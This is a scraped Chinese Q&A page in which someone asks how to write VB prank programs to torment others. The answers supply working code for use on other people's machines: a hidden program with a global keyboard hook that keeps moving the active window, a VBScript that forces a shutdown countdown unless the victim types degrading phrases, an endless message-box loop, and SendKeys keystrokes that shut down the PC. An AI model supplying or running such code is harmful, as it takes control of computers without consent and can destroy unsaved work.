谁能教我用VB编恶搞的小程序呀?~
谁能教我用VB编恶搞的小程序呀?~只要能整人的程序~~什么方面的都可以~~~病毒一类的就不用了~麻烦各位都教清楚点~~~,谢谢了~~...
谁能教我用VB编恶搞的小程序呀?~ 只要能整人的程序~~什么方面的都可以~~~病毒一类的就不用了~麻烦各位都教清楚点~~~ ,谢谢了~~
展开
4个回答
展开全部
加一个timer控件
这是模块里代码
'Option Explicit
Public hHook As Long
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Sub ExitProcess Lib "kernel32" (ByVal uExitCode As Long)
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public a As Long
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
If mymsg.vKey = 48 Then
ExitProcess 0
End If
End If
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
这是窗体代码
'Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Const SWP_NOSIZE = &H1
Dim q, w
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 100
Me.Hide
App.TaskVisible = False
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub
Private Sub Timer1_Timer()
q = Rnd * 500
w = Rnd * 500
SetWindowPos GetForegroundWindow, -1, q, w, 0, 0, SWP_NOSIZE
End Sub
这个程序按0可退出
这是模块里代码
'Option Explicit
Public hHook As Long
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Sub ExitProcess Lib "kernel32" (ByVal uExitCode As Long)
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public a As Long
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
If mymsg.vKey = 48 Then
ExitProcess 0
End If
End If
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
这是窗体代码
'Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Const SWP_NOSIZE = &H1
Dim q, w
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 100
Me.Hide
App.TaskVisible = False
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub
Private Sub Timer1_Timer()
q = Rnd * 500
w = Rnd * 500
SetWindowPos GetForegroundWindow, -1, q, w, 0, 0, SWP_NOSIZE
End Sub
这个程序按0可退出
展开全部
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 30 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试· "
··"" ",0 ,true
Dim a
Do While (a <> "我是猪")
a = InputBox("说我是猪,就不关机,快撒,说 ""我是猪"" ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛"
Do While (b <> "哥哥")
b = InputBox("再叫声哥哥听听!不叫一样关你机!快撒!说""哥哥"" ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + b, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "恩恩!不错真乖!就饶了你吧"
Do While (c <> "听")
c = inputbox ("慢着!我隔壁某某说要你等哈,他说他要念首诗你听,你自己看着办吧!看你是""听"" ","听不听
","不听",8000,7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + c, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山."
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙."
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有老和尚."
MsgBox Chr(13) + Chr(13) + Chr(13) + "再来一次..."
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有个老和尚!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山."
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙."
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有老和尚."
MsgBox Chr(13) + Chr(13) + Chr(13) + "再来一次..."
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有个老和尚!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "最后一次!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "如果你很快的点过去,不看的话"
MsgBox Chr(13) + Chr(13) + Chr(13) + "我就要你踩我空间的!哼!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙."
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有个老和尚在讲故事."
Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.baidu.com"
Dim WSHshell
Set WSHshell = wscript.CreateObject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a", 0, True
MsgBox Chr(13) + Chr(13) + Chr(13) + "哈哈哈哈,真过瘾"
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 30 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试· "
··"" ",0 ,true
Dim a
Do While (a <> "我是猪")
a = InputBox("说我是猪,就不关机,快撒,说 ""我是猪"" ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛"
Do While (b <> "哥哥")
b = InputBox("再叫声哥哥听听!不叫一样关你机!快撒!说""哥哥"" ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + b, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "恩恩!不错真乖!就饶了你吧"
Do While (c <> "听")
c = inputbox ("慢着!我隔壁某某说要你等哈,他说他要念首诗你听,你自己看着办吧!看你是""听"" ","听不听
","不听",8000,7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + c, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山."
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙."
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有老和尚."
MsgBox Chr(13) + Chr(13) + Chr(13) + "再来一次..."
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有个老和尚!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山."
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙."
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有老和尚."
MsgBox Chr(13) + Chr(13) + Chr(13) + "再来一次..."
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有个老和尚!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "最后一次!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "如果你很快的点过去,不看的话"
MsgBox Chr(13) + Chr(13) + Chr(13) + "我就要你踩我空间的!哼!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "从前有座山!"
MsgBox Chr(13) + Chr(13) + Chr(13) + "山里有个庙."
MsgBox Chr(13) + Chr(13) + Chr(13) + "庙里有个老和尚在讲故事."
Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE www.baidu.com"
Dim WSHshell
Set WSHshell = wscript.CreateObject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a", 0, True
MsgBox Chr(13) + Chr(13) + Chr(13) + "哈哈哈哈,真过瘾"
参考资料: http://zhidao.baidu.com/question/63806051.html?si=2
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
do
msgbox"你被我整了~!"
loop
慎用~~~~~
msgbox"你被我整了~!"
loop
慎用~~~~~
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
sendkeys ^{ESC}R
sendkeys U
sendkeys U
'加在初始效果里就可以了,至于效果(*^_^*)不敢保证
sendkeys U
sendkeys U
'加在初始效果里就可以了,至于效果(*^_^*)不敢保证
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询